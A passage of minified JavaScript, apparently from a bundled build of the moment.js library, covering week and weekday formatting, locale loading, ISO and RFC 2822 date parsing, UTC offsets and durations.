s<1?n=s+bt(i=e.year()-1,t,a):s>bt(e.year(),t,a)?(n=s-bt(e.year(),t,a),i=e.year()+1):(i=e.year(),n=s),{week:n,year:i}}function bt(e,t,a){var n=Yt(e,t,a),i=Yt(e+1,t,a);return(Mt(e)-n+i)/7}function Dt(e){return kt(e,this._week.dow,this._week.doy).week}N("w",["ww",2],"wo","week"),N("W",["WW",2],"Wo","isoWeek"),ne("week","w"),ne("isoWeek","W"),oe("week",5),oe("isoWeek",5),Fe("w",ke),Fe("ww",ke,ye),Fe("W",ke),Fe("WW",ke,ye),Ne(["w","ww","W","WW"],(function(e,t,a,n){t[n.substr(0,1)]=_e(e)}));var wt={dow:0,doy:6};function Tt(){return this._week.dow}function xt(){return this._week.doy}function St(e){var t=this.localeData().week(this);return null==e?t:this.add(7*(e-t),"d")}function Ht(e){var t=kt(this,1,4).week;return null==e?t:this.add(7*(e-t),"d")}function jt(e,t){return"string"!=typeof e?e:isNaN(e)?"number"==typeof(e=t.weekdaysParse(e))?e:null:parseInt(e,10)}function Pt(e,t){return"string"==typeof e?t.weekdaysParse(e)%7||7:isNaN(e)?null:e}function Ot(e,t){return e.slice(t,7).concat(e.slice(0,t))}N("d",0,"do","day"),N("dd",0,0,(function(e){return this.localeData().weekdaysMin(this,e)})),N("ddd",0,0,(function(e){return this.localeData().weekdaysShort(this,e)})),N("dddd",0,0,(function(e){return this.localeData().weekdays(this,e)})),N("e",0,0,"weekday"),N("E",0,0,"isoWeekday"),ne("day","d"),ne("weekday","e"),ne("isoWeekday","E"),oe("day",11),oe("weekday",11),oe("isoWeekday",11),Fe("d",ke),Fe("e",ke),Fe("E",ke),Fe("dd",(function(e,t){return t.weekdaysMinRegex(e)})),Fe("ddd",(function(e,t){return t.weekdaysShortRegex(e)})),Fe("dddd",(function(e,t){return t.weekdaysRegex(e)})),Ne(["dd","ddd","dddd"],(function(e,t,a,n){var i=a._locale.weekdaysParse(e,n,a._strict);null!=i?t.d=i:p(a).invalidWeekday=e})),Ne(["d","e","E"],(function(e,t,a,n){t[n]=_e(e)}));var At="Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),Ft="Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),Wt="Su_Mo_Tu_We_Th_Fr_Sa".split("_"),Ct=Ae,Et=Ae,zt=Ae;function It(e,t){var a=s(this._weekdays)?this._weekdays:this._weekdays[e&&!0!==e&&this._weekdays.isFormat.test(t)?"format":"standalone"];return!0===e?Ot(a,this._week.dow):e?a[e.day()]:a}function Nt(e){return!0===e?Ot(this._weekdaysShort,this._week.dow):e?this._weekdaysShort[e.day()]:this._weekdaysShort}function Rt(e){return!0===e?Ot(this._weekdaysMin,this._week.dow):e?this._weekdaysMin[e.day()]:this._weekdaysMin}function Vt(e,t,a){var n,i,r,s=e.toLocaleLowerCase();if(!this._weekdaysParse)for(this._weekdaysParse=[],this._shortWeekdaysParse=[],this._minWeekdaysParse=[],n=0;n<7;++n)r=f([2e3,1]).day(n),this._minWeekdaysParse[n]=this.weekdaysMin(r,"").toLocaleLowerCase(),this._shortWeekdaysParse[n]=this.weekdaysShort(r,"").toLocaleLowerCase(),this._weekdaysParse[n]=this.weekdays(r,"").toLocaleLowerCase();return a?"dddd"===t?-1!==(i=Ve.call(this._weekdaysParse,s))?i:null:"ddd"===t?-1!==(i=Ve.call(this._shortWeekdaysParse,s))?i:null:-1!==(i=Ve.call(this._minWeekdaysParse,s))?i:null:"dddd"===t?-1!==(i=Ve.call(this._weekdaysParse,s))||-1!==(i=Ve.call(this._shortWeekdaysParse,s))||-1!==(i=Ve.call(this._minWeekdaysParse,s))?i:null:"ddd"===t?-1!==(i=Ve.call(this._shortWeekdaysParse,s))||-1!==(i=Ve.call(this._weekdaysParse,s))||-1!==(i=Ve.call(this._minWeekdaysParse,s))?i:null:-1!==(i=Ve.call(this._minWeekdaysParse,s))||-1!==(i=Ve.call(this._weekdaysParse,s))||-1!==(i=Ve.call(this._shortWeekdaysParse,s))?i:null}function Bt(e,t,a){var n,i,r;if(this._weekdaysParseExact)return Vt.call(this,e,t,a);for(this._weekdaysParse||(this._weekdaysParse=[],this._minWeekdaysParse=[],this._shortWeekdaysParse=[],this._fullWeekdaysParse=[]),n=0;n<7;n++){if(i=f([2e3,1]).day(n),a&&!this._fullWeekdaysParse[n]&&(this._fullWeekdaysParse[n]=new RegExp("^"+this.weekdays(i,"").replace(".","\\.?")+"$","i"),this._shortWeekdaysParse[n]=new RegExp("^"+this.weekdaysShort(i,"").replace(".","\\.?")+"$","i"),this._minWeekdaysParse[n]=new RegExp("^"+this.weekdaysMin(i,"").replace(".","\\.?")+"$","i")),this._weekdaysParse[n]||(r="^"+this.weekdays(i,"")+"|^"+this.weekdaysShort(i,"")+"|^"+this.weekdaysMin(i,""),this._weekdaysParse[n]=new RegExp(r.replace(".",""),"i")),a&&"dddd"===t&&this._fullWeekdaysParse[n].test(e))return n;if(a&&"ddd"===t&&this._shortWeekdaysParse[n].test(e))return n;if(a&&"dd"===t&&this._minWeekdaysParse[n].test(e))return n;if(!a&&this._weekdaysParse[n].test(e))return n}}function Jt(e){if(!this.isValid())return null!=e?this:NaN;var t=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=e?(e=jt(e,this.localeData()),this.add(e-t,"d")):t}function Ut(e){if(!this.isValid())return null!=e?this:NaN;var t=(this.day()+7-this.localeData()._week.dow)%7;return null==e?t:this.add(e-t,"d")}function Gt(e){if(!this.isValid())return null!=e?this:NaN;if(null!=e){var t=Pt(e,this.localeData());return this.day(this.day()%7?t:t-7)}return this.day()||7}function qt(e){return this._weekdaysParseExact?(d(this,"_weekdaysRegex")||$t.call(this),e?this._weekdaysStrictRegex:this._weekdaysRegex):(d(this,"_weekdaysRegex")||(this._weekdaysRegex=Ct),this._weekdaysStrictRegex&&e?this._weekdaysStrictRegex:this._weekdaysRegex)}function Kt(e){return this._weekdaysParseExact?(d(this,"_weekdaysRegex")||$t.call(this),e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex):(d(this,"_weekdaysShortRegex")||(this._weekdaysShortRegex=Et),this._weekdaysShortStrictRegex&&e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex)}function Zt(e){return this._weekdaysParseExact?(d(this,"_weekdaysRegex")||$t.call(this),e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex):(d(this,"_weekdaysMinRegex")||(this._weekdaysMinRegex=zt),this._weekdaysMinStrictRegex&&e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex)}function $t(){function e(e,t){return t.length-e.length}var t,a,n,i,r,s=[],o=[],d=[],l=[];for(t=0;t<7;t++)a=f([2e3,1]).day(t),n=Ee(this.weekdaysMin(a,"")),i=Ee(this.weekdaysShort(a,"")),r=Ee(this.weekdays(a,"")),s.push(n),o.push(i),d.push(r),l.push(n),l.push(i),l.push(r);s.sort(e),o.sort(e),d.sort(e),l.sort(e),this._weekdaysRegex=new RegExp("^("+l.join("|")+")","i"),this._weekdaysShortRegex=this._weekdaysRegex,this._weekdaysMinRegex=this._weekdaysRegex,this._weekdaysStrictRegex=new RegExp("^("+d.join("|")+")","i"),this._weekdaysShortStrictRegex=new RegExp("^("+o.join("|")+")","i"),this._weekdaysMinStrictRegex=new RegExp("^("+s.join("|")+")","i")}function Xt(){return this.hours()%12||12}function Qt(){return this.hours()||24}function ea(e,t){N(e,0,0,(function(){return this.localeData().meridiem(this.hours(),this.minutes(),t)}))}function ta(e,t){return t._meridiemParse}function aa(e){return"p"===(e+"").toLowerCase().charAt(0)}N("H",["HH",2],0,"hour"),N("h",["hh",2],0,Xt),N("k",["kk",2],0,Qt),N("hmm",0,0,(function(){return""+Xt.apply(this)+W(this.minutes(),2)})),N("hmmss",0,0,(function(){return""+Xt.apply(this)+W(this.minutes(),2)+W(this.seconds(),2)})),N("Hmm",0,0,(function(){return""+this.hours()+W(this.minutes(),2)})),N("Hmmss",0,0,(function(){return""+this.hours()+W(this.minutes(),2)+W(this.seconds(),2)})),ea("a",!0),ea("A",!1),ne("hour","h"),oe("hour",13),Fe("a",ta),Fe("A",ta),Fe("H",ke),Fe("h",ke),Fe("k",ke),Fe("HH",ke,ye),Fe("hh",ke,ye),Fe("kk",ke,ye),Fe("hmm",be),Fe("hmmss",De),Fe("Hmm",be),Fe("Hmmss",De),Ie(["H","HH"],Ge),Ie(["k","kk"],(function(e,t,a){var n=_e(e);t[Ge]=24===n?0:n})),Ie(["a","A"],(function(e,t,a){a._isPm=a._locale.isPM(e),a._meridiem=e})),Ie(["h","hh"],(function(e,t,a){t[Ge]=_e(e),p(a).bigHour=!0})),Ie("hmm",(function(e,t,a){var n=e.length-2;t[Ge]=_e(e.substr(0,n)),t[qe]=_e(e.substr(n)),p(a).bigHour=!0})),Ie("hmmss",(function(e,t,a){var n=e.length-4,i=e.length-2;t[Ge]=_e(e.substr(0,n)),t[qe]=_e(e.substr(n,2)),t[Ke]=_e(e.substr(i)),p(a).bigHour=!0})),Ie("Hmm",(function(e,t,a){var n=e.length-2;t[Ge]=_e(e.substr(0,n)),t[qe]=_e(e.substr(n))})),Ie("Hmmss",(function(e,t,a){var n=e.length-4,i=e.length-2;t[Ge]=_e(e.substr(0,n)),t[qe]=_e(e.substr(n,2)),t[Ke]=_e(e.substr(i))}));var na=/[ap]\.?m?\.?/i,ia=me("Hours",!0);function ra(e,t,a){return e>11?a?"pm":"PM":a?"am":"AM"}var sa,oa={calendar:A,longDateFormat:U,invalidDate:q,ordinal:Z,dayOfMonthOrdinalParse:$,relativeTime:Q,months:tt,monthsShort:at,week:wt,weekdays:At,weekdaysMin:Wt,weekdaysShort:Ft,meridiemParse:na},da={},la={};function ua(e,t){var a,n=Math.min(e.length,t.length);for(a=0;a<n;a+=1)if(e[a]!==t[a])return a;return n}function _a(e){return e?e.toLowerCase().replace("_","-"):e}function ma(e){for(var t,a,n,i,r=0;r<e.length;){for(t=(i=_a(e[r]).split("-")).length,a=(a=_a(e[r+1]))?a.split("-"):null;t>0;){if(n=ha(i.slice(0,t).join("-")))return n;if(a&&a.length>=t&&ua(i,a)>=t-1)break;t--}r++}return sa}function ha(t){var n=null;if(void 0===da[t]&&e&&e.exports)try{n=sa._abbr,a(6700)("./"+t),ca(n)}catch(e){da[t]=null}return da[t]}function ca(e,t){var a;return e&&((a=u(t)?pa(e):fa(e,t))?sa=a:"undefined"!=typeof console&&console.warn&&console.warn("Locale "+e+" not found. Did you forget to load it?")),sa._abbr}function fa(e,t){if(null!==t){var a,n=oa;if(t.abbr=e,null!=da[e])S("defineLocaleOverride","use moment.updateLocale(localeName, config) to change an existing locale. moment.defineLocale(localeName, config) should only be used for creating a new locale See http://momentjs.com/guides/#/warnings/define-locale/ for more info."),n=da[e]._config;else if(null!=t.parentLocale)if(null!=da[t.parentLocale])n=da[t.parentLocale]._config;else{if(null==(a=ha(t.parentLocale)))return la[t.parentLocale]||(la[t.parentLocale]=[]),la[t.parentLocale].push({name:e,config:t}),null;n=a._config}return da[e]=new O(P(n,t)),la[e]&&la[e].forEach((function(e){fa(e.name,e.config)})),ca(e),da[e]}return delete da[e],null}function Ma(e,t){if(null!=t){var a,n,i=oa;null!=da[e]&&null!=da[e].parentLocale?da[e].set(P(da[e]._config,t)):(null!=(n=ha(e))&&(i=n._config),t=P(i,t),null==n&&(t.abbr=e),(a=new O(t)).parentLocale=da[e],da[e]=a),ca(e)}else null!=da[e]&&(null!=da[e].parentLocale?(da[e]=da[e].parentLocale,e===ca()&&ca(e)):null!=da[e]&&delete da[e]);return da[e]}function pa(e){var t;if(e&&e._locale&&e._locale._abbr&&(e=e._locale._abbr),!e)return sa;if(!s(e)){if(t=ha(e))return t;e=[e]}return ma(e)}function ga(){return T(da)}function ya(e){var t,a=e._a;return a&&-2===p(e).overflow&&(t=a[Je]<0||a[Je]>11?Je:a[Ue]<1||a[Ue]>et(a[Be],a[Je])?Ue:a[Ge]<0||a[Ge]>24||24===a[Ge]&&(0!==a[qe]||0!==a[Ke]||0!==a[Ze])?Ge:a[qe]<0||a[qe]>59?qe:a[Ke]<0||a[Ke]>59?Ke:a[Ze]<0||a[Ze]>999?Ze:-1,p(e)._overflowDayOfYear&&(t<Be||t>Ue)&&(t=Ue),p(e)._overflowWeeks&&-1===t&&(t=$e),p(e)._overflowWeekday&&-1===t&&(t=Xe),p(e).overflow=t),e}var La=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,Ya=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d|))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,va=/Z|[+-]\d\d(?::?\d\d)?/,ka=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/],["YYYYMM",/\d{6}/,!1],["YYYY",/\d{4}/,!1]],ba=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],Da=/^\/?Date\((-?\d+)/i,wa=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/,Ta={UT:0,GMT:0,EDT:-240,EST:-300,CDT:-300,CST:-360,MDT:-360,MST:-420,PDT:-420,PST:-480};function xa(e){var t,a,n,i,r,s,o=e._i,d=La.exec(o)||Ya.exec(o);if(d){for(p(e).iso=!0,t=0,a=ka.length;t<a;t++)if(ka[t][1].exec(d[1])){i=ka[t][0],n=!1!==ka[t][2];break}if(null==i)return void(e._isValid=!1);if(d[3]){for(t=0,a=ba.length;t<a;t++)if(ba[t][1].exec(d[3])){r=(d[2]||" ")+ba[t][0];break}if(null==r)return void(e._isValid=!1)}if(!n&&null!=r)return void(e._isValid=!1);if(d[4]){if(!va.exec(d[4]))return void(e._isValid=!1);s="Z"}e._f=i+(r||"")+(s||""),Ia(e)}else e._isValid=!1}function Sa(e,t,a,n,i,r){var s=[Ha(e),at.indexOf(t),parseInt(a,10),parseInt(n,10),parseInt(i,10)];return r&&s.push(parseInt(r,10)),s}function Ha(e){var t=parseInt(e,10);return t<=49?2e3+t:t<=999?1900+t:t}function ja(e){return e.replace(/\([^)]*\)|[\n\t]/g," ").replace(/(\s\s+)/g," ").replace(/^\s\s*/,"").replace(/\s\s*$/,"")}function Pa(e,t,a){return!e||Ft.indexOf(e)===new Date(t[0],t[1],t[2]).getDay()||(p(a).weekdayMismatch=!0,a._isValid=!1,!1)}function Oa(e,t,a){if(e)return Ta[e];if(t)return 0;var n=parseInt(a,10),i=n%100;return(n-i)/100*60+i}function Aa(e){var t,a=wa.exec(ja(e._i));if(a){if(t=Sa(a[4],a[3],a[2],a[5],a[6],a[7]),!Pa(a[1],t,e))return;e._a=t,e._tzm=Oa(a[8],a[9],a[10]),e._d=Lt.apply(null,e._a),e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),p(e).rfc2822=!0}else e._isValid=!1}function Fa(e){var t=Da.exec(e._i);null===t?(xa(e),!1===e._isValid&&(delete e._isValid,Aa(e),!1===e._isValid&&(delete e._isValid,e._strict?e._isValid=!1:i.createFromInputFallback(e)))):e._d=new Date(+t[1])}function Wa(e,t,a){return null!=e?e:null!=t?t:a}function Ca(e){var t=new Date(i.now());return e._useUTC?[t.getUTCFullYear(),t.getUTCMonth(),t.getUTCDate()]:[t.getFullYear(),t.getMonth(),t.getDate()]}function Ea(e){var t,a,n,i,r,s=[];if(!e._d){for(n=Ca(e),e._w&&null==e._a[Ue]&&null==e._a[Je]&&za(e),null!=e._dayOfYear&&(r=Wa(e._a[Be],n[Be]),(e._dayOfYear>Mt(r)||0===e._dayOfYear)&&(p(e)._overflowDayOfYear=!0),a=Lt(r,0,e._dayOfYear),e._a[Je]=a.getUTCMonth(),e._a[Ue]=a.getUTCDate()),t=0;t<3&&null==e._a[t];++t)e._a[t]=s[t]=n[t];for(;t<7;t++)e._a[t]=s[t]=null==e._a[t]?2===t?1:0:e._a[t];24===e._a[Ge]&&0===e._a[qe]&&0===e._a[Ke]&&0===e._a[Ze]&&(e._nextDay=!0,e._a[Ge]=0),e._d=(e._useUTC?Lt:yt).apply(null,s),i=e._useUTC?e._d.getUTCDay():e._d.getDay(),null!=e._tzm&&e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),e._nextDay&&(e._a[Ge]=24),e._w&&void 0!==e._w.d&&e._w.d!==i&&(p(e).weekdayMismatch=!0)}}function za(e){var t,a,n,i,r,s,o,d,l;null!=(t=e._w).GG||null!=t.W||null!=t.E?(r=1,s=4,a=Wa(t.GG,e._a[Be],kt(qa(),1,4).year),n=Wa(t.W,1),((i=Wa(t.E,1))<1||i>7)&&(d=!0)):(r=e._locale._week.dow,s=e._locale._week.doy,l=kt(qa(),r,s),a=Wa(t.gg,e._a[Be],l.year),n=Wa(t.w,l.week),null!=t.d?((i=t.d)<0||i>6)&&(d=!0):null!=t.e?(i=t.e+r,(t.e<0||t.e>6)&&(d=!0)):i=r),n<1||n>bt(a,r,s)?p(e)._overflowWeeks=!0:null!=d?p(e)._overflowWeekday=!0:(o=vt(a,n,i,r,s),e._a[Be]=o.year,e._dayOfYear=o.dayOfYear)}function Ia(e){if(e._f!==i.ISO_8601)if(e._f!==i.RFC_2822){e._a=[],p(e).empty=!0;var t,a,n,r,s,o,d=""+e._i,l=d.length,u=0;for(n=J(e._f,e._locale).match(C)||[],t=0;t<n.length;t++)r=n[t],(a=(d.match(We(r,e))||[])[0])&&((s=d.substr(0,d.indexOf(a))).length>0&&p(e).unusedInput.push(s),d=d.slice(d.indexOf(a)+a.length),u+=a.length),I[r]?(a?p(e).empty=!1:p(e).unusedTokens.push(r),Re(r,a,e)):e._strict&&!a&&p(e).unusedTokens.push(r);p(e).charsLeftOver=l-u,d.length>0&&p(e).unusedInput.push(d),e._a[Ge]<=12&&!0===p(e).bigHour&&e._a[Ge]>0&&(p(e).bigHour=void 0),p(e).parsedDateParts=e._a.slice(0),p(e).meridiem=e._meridiem,e._a[Ge]=Na(e._locale,e._a[Ge],e._meridiem),null!==(o=p(e).era)&&(e._a[Be]=e._locale.erasConvertYear(o,e._a[Be])),Ea(e),ya(e)}else Aa(e);else xa(e)}function Na(e,t,a){var n;return null==a?t:null!=e.meridiemHour?e.meridiemHour(t,a):null!=e.isPM?((n=e.isPM(a))&&t<12&&(t+=12),n||12!==t||(t=0),t):t}function Ra(e){var t,a,n,i,r,s,o=!1;if(0===e._f.length)return p(e).invalidFormat=!0,void(e._d=new Date(NaN));for(i=0;i<e._f.length;i++)r=0,s=!1,t=v({},e),null!=e._useUTC&&(t._useUTC=e._useUTC),t._f=e._f[i],Ia(t),g(t)&&(s=!0),r+=p(t).charsLeftOver,r+=10*p(t).unusedTokens.length,p(t).score=r,o?r<n&&(n=r,a=t):(null==n||r<n||s)&&(n=r,a=t,s&&(o=!0));c(e,a||t)}function Va(e){if(!e._d){var t=re(e._i),a=void 0===t.day?t.date:t.day;e._a=h([t.year,t.month,a,t.hour,t.minute,t.second,t.millisecond],(function(e){return e&&parseInt(e,10)})),Ea(e)}}function Ba(e){var t=new k(ya(Ja(e)));return t._nextDay&&(t.add(1,"d"),t._nextDay=void 0),t}function Ja(e){var t=e._i,a=e._f;return e._locale=e._locale||pa(e._l),null===t||void 0===a&&""===t?y({nullInput:!0}):("string"==typeof t&&(e._i=t=e._locale.preparse(t)),b(t)?new k(ya(t)):(m(t)?e._d=t:s(a)?Ra(e):a?Ia(e):Ua(e),g(e)||(e._d=null),e))}function Ua(e){var t=e._i;u(t)?e._d=new Date(i.now()):m(t)?e._d=new Date(t.valueOf()):"string"==typeof t?Fa(e):s(t)?(e._a=h(t.slice(0),(function(e){return parseInt(e,10)})),Ea(e)):o(t)?Va(e):_(t)?e._d=new Date(t):i.createFromInputFallback(e)}function Ga(e,t,a,n,i){var r={};return!0!==t&&!1!==t||(n=t,t=void 0),!0!==a&&!1!==a||(n=a,a=void 0),(o(e)&&l(e)||s(e)&&0===e.length)&&(e=void 0),r._isAMomentObject=!0,r._useUTC=r._isUTC=i,r._l=a,r._i=e,r._f=t,r._strict=n,Ba(r)}function qa(e,t,a,n){return Ga(e,t,a,n,!1)}i.createFromInputFallback=w("value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are discouraged. Please refer to http://momentjs.com/guides/#/warnings/js-date/ for more info.",(function(e){e._d=new Date(e._i+(e._useUTC?" UTC":""))})),i.ISO_8601=function(){},i.RFC_2822=function(){};var Ka=w("moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/",(function(){var e=qa.apply(null,arguments);return this.isValid()&&e.isValid()?e<this?this:e:y()})),Za=w("moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/",(function(){var e=qa.apply(null,arguments);return this.isValid()&&e.isValid()?e>this?this:e:y()}));function $a(e,t){var a,n;if(1===t.length&&s(t[0])&&(t=t[0]),!t.length)return qa();for(a=t[0],n=1;n<t.length;++n)t[n].isValid()&&!t[n][e](a)||(a=t[n]);return a}function Xa(){return $a("isBefore",[].slice.call(arguments,0))}function Qa(){return $a("isAfter",[].slice.call(arguments,0))}var en=function(){return Date.now?Date.now():+new Date},tn=["year","quarter","month","week","day","hour","minute","second","millisecond"];function an(e){var t,a,n=!1;for(t in e)if(d(e,t)&&(-1===Ve.call(tn,t)||null!=e[t]&&isNaN(e[t])))return!1;for(a=0;a<tn.length;++a)if(e[tn[a]]){if(n)return!1;parseFloat(e[tn[a]])!==_e(e[tn[a]])&&(n=!0)}return!0}function nn(){return this._isValid}function rn(){return xn(NaN)}function sn(e){var t=re(e),a=t.year||0,n=t.quarter||0,i=t.month||0,r=t.week||t.isoWeek||0,s=t.day||0,o=t.hour||0,d=t.minute||0,l=t.second||0,u=t.millisecond||0;this._isValid=an(t),this._milliseconds=+u+1e3*l+6e4*d+1e3*o*60*60,this._days=+s+7*r,this._months=+i+3*n+12*a,this._data={},this._locale=pa(),this._bubble()}function on(e){return e instanceof sn}function dn(e){return e<0?-1*Math.round(-1*e):Math.round(e)}function ln(e,t,a){var n,i=Math.min(e.length,t.length),r=Math.abs(e.length-t.length),s=0;for(n=0;n<i;n++)(a&&e[n]!==t[n]||!a&&_e(e[n])!==_e(t[n]))&&s++;return s+r}function un(e,t){N(e,0,0,(function(){var e=this.utcOffset(),a="+";return e<0&&(e=-e,a="-"),a+W(~~(e/60),2)+t+W(~~e%60,2)}))}un("Z",":"),un("ZZ",""),Fe("Z",Pe),Fe("ZZ",Pe),Ie(["Z","ZZ"],(function(e,t,a){a._useUTC=!0,a._tzm=mn(Pe,e)}));var _n=/([\+\-]|\d\d)/gi;function mn(e,t){var a,n,i=(t||"").match(e);return null===i?null:0===(n=60*(a=((i[i.length-1]||[])+"").match(_n)||["-",0,0])[1]+_e(a[2]))?0:"+"===a[0]?n:-n}function hn(e,t){var a,n;return t._isUTC?(a=t.clone(),n=(b(e)||m(e)?e.valueOf():qa(e).valueOf())-a.valueOf(),a._d.setTime(a._d.valueOf()+n),i.updateOffset(a,!1),a):qa(e).local()}function cn(e){return-Math.round(e._d.getTimezoneOffset())}function fn(e,t,a){var n,r=this._offset||0;if(!this.isValid())return null!=e?this:NaN;if(null!=e){if("string"==typeof e){if(null===(e=mn(Pe,e)))return this}else Math.abs(e)<16&&!a&&(e*=60);return!this._isUTC&&t&&(n=cn(this)),this._offset=e,this._isUTC=!0,null!=n&&this.add(n,"m"),r!==e&&(!t||this._changeInProgress?On(this,xn(e-r,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,i.updateOffset(this,!0),this._changeInProgress=null)),this}return this._isUTC?r:cn(this)}function Mn(e,t){return null!=e?("string"!=typeof e&&(e=-e),this.utcOffset(e,t),this):-this.utcOffset()}function pn(e){return this.utcOffset(0,e)}function gn(e){return this._isUTC&&(this.utcOffset(0,e),this._isUTC=!1,e&&this.subtract(cn(this),"m")),this}function yn(){if(null!=this._tzm)this.utcOffset(this._tzm,!1,!0);else if("string"==typeof this._i){var e=mn(je,this._i);null!=e?this.utcOffset(e):this.utcOffset(0,!0)}return this}function Ln(e){return!!this.isValid()&&(e=e?qa(e).utcOffset():0,(this.utcOffset()-e)%60==0)}function Yn(){return this.utcOffset()>this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()}function vn(){if(!u(this._isDSTShifted))return this._isDSTShifted;var e,t={};return v(t,this),(t=Ja(t))._a?(e=t._isUTC?f(t._a):qa(t._a),this._isDSTShifted=this.isValid()&&ln(t._a,e.toArray())>0):this._isDSTShifted=!1,this._isDSTShifted}function kn(){return!!this.isValid()&&!this._isUTC}function bn(){return!!this.isValid()&&this._isUTC}function Dn(){return!!this.isValid()&&this._isUTC&&0===this._offset}i.updateOffset=function(){};var wn=/^(-|\+)?(?:(\d*)[. ])?(\d+):(\d+)(?::(\d+)(\.\d*)?)?$/,Tn=/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;function xn(e,t){var a,n,i,r=e,s=null;return on(e)?r={ms:e._milliseconds,d:e._days,M:e._months}:_(e)||!isNaN(+e)?(r={},t?r[t]=+e:r.milliseconds=+e):(s=wn.exec(e))?(a="-"===s[1]?-1:1,r={y:0,d:_e(s[Ue])*a,h:_e(s[Ge])*a,m:_e(s[qe])*a,s:_e(s[Ke])*a,ms:_e(dn(1e3*s[Ze]))*a}):(s=Tn.exec(e))?(a="-"===s[1]?-1:1,r={y:Sn(s[2],a),M:Sn(s[3],a),w:Sn(s[4],a),d:Sn(s[5],a),h:Sn(s[6],a),m:Sn(s[7],a),s:Sn(s[8],a)}):null==r?r={}:"object"==typeof r&&("from"in r||"to"in r)&&(i=jn(qa(r.from),qa(r.to)),(r={}).ms=i.milliseconds,r.M=i.months),n=new sn(r),on(e)&&d(e,"_locale")&&(n._locale=e._locale),on(e)&&d(e,"_isValid")&&(n._isValid=e._isValid),n}function Sn(e,t){var a=e&&parseFloat(e.replace(",","."));return(isNaN(a)?0:a)*t}function Hn(e,t){var a={};return a.months=t.month()-e.month()+12*(t.year()-e.year()),e.clone().add(a.months,"M").isAfter(t)&&--a.months,a.milliseconds=+t-+e.clone().add(a.months,"M"),a}function jn(e,t){var a;return e.isValid()&&t.isValid()?(t=hn(t,e),e.isBefore(t)?a=Hn(e,t):((a=Hn(t,e)).milliseconds=-a.milliseconds,a.months=-a.months),a):{milliseconds:0,months:0}}function Pn(e,t){return function(a,n){var i;return null===n||isNaN(+n)||(S(t,"moment()."+t+"(period, number) is deprecated. Please use moment()."+t+"(number, period). See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."),i=a,a=n,n=i),On(this,xn(a,n),e),this}}function On(e,t,a,n){var r=t._milliseconds,s=dn(t._days),o=dn(t._months);e.isValid()&&(n=null==n||n,o&&ut(e,he(e,"Month")+o*a),s&&ce(e,"Date",he(e,"Date")+s*a),r&&e._d.setTime(e._d.valueOf()+r*a),n&&i.updateOffset(e,s||o))}xn.fn=sn.prototype,xn.invalid=rn;var An=Pn(1,"add"),Fn=Pn(-1,"subtract");function Wn(e){return"string"==typeof e||e instanceof String}function Cn(e){return b(e)||m(e)||Wn(e)||_(e)||zn(e)||En(e)||null==e}function En(e){var t,a,n=o(e)&&!l(e),i=!1,r=["years","year","y","months","month","M","days","day","d","dates","date","D","hours","hour","h","minutes","minute","m","seconds","second","s","milliseconds","millisecond","ms"];for(t=0;t<r.length;t+=1)a=r[t],i=i||d(e,a);return n&&i}function zn(e){var t=s(e),a=!1;return t&&(a=0===e.filter((function(t){return!_(t)&&Wn(e)})).length),t&&a}function In(e){var t,a,n=o(e)&&!l(e),i=!1,r=["sameDay","nextDay","lastDay","nextWeek","lastWeek","sameElse"];for(t=0;t<r.length;t+=1)a=r[t],i=i||d(e,a);return n&&i}function Nn(e,t){var a=e.diff(t,"days",!0);return a<-6?"sameElse":a<-1?"lastWeek":a<0?"lastDay":a<1?"sameDay":a<2?"nextDay":a<7?"nextWeek":"sameElse"}function 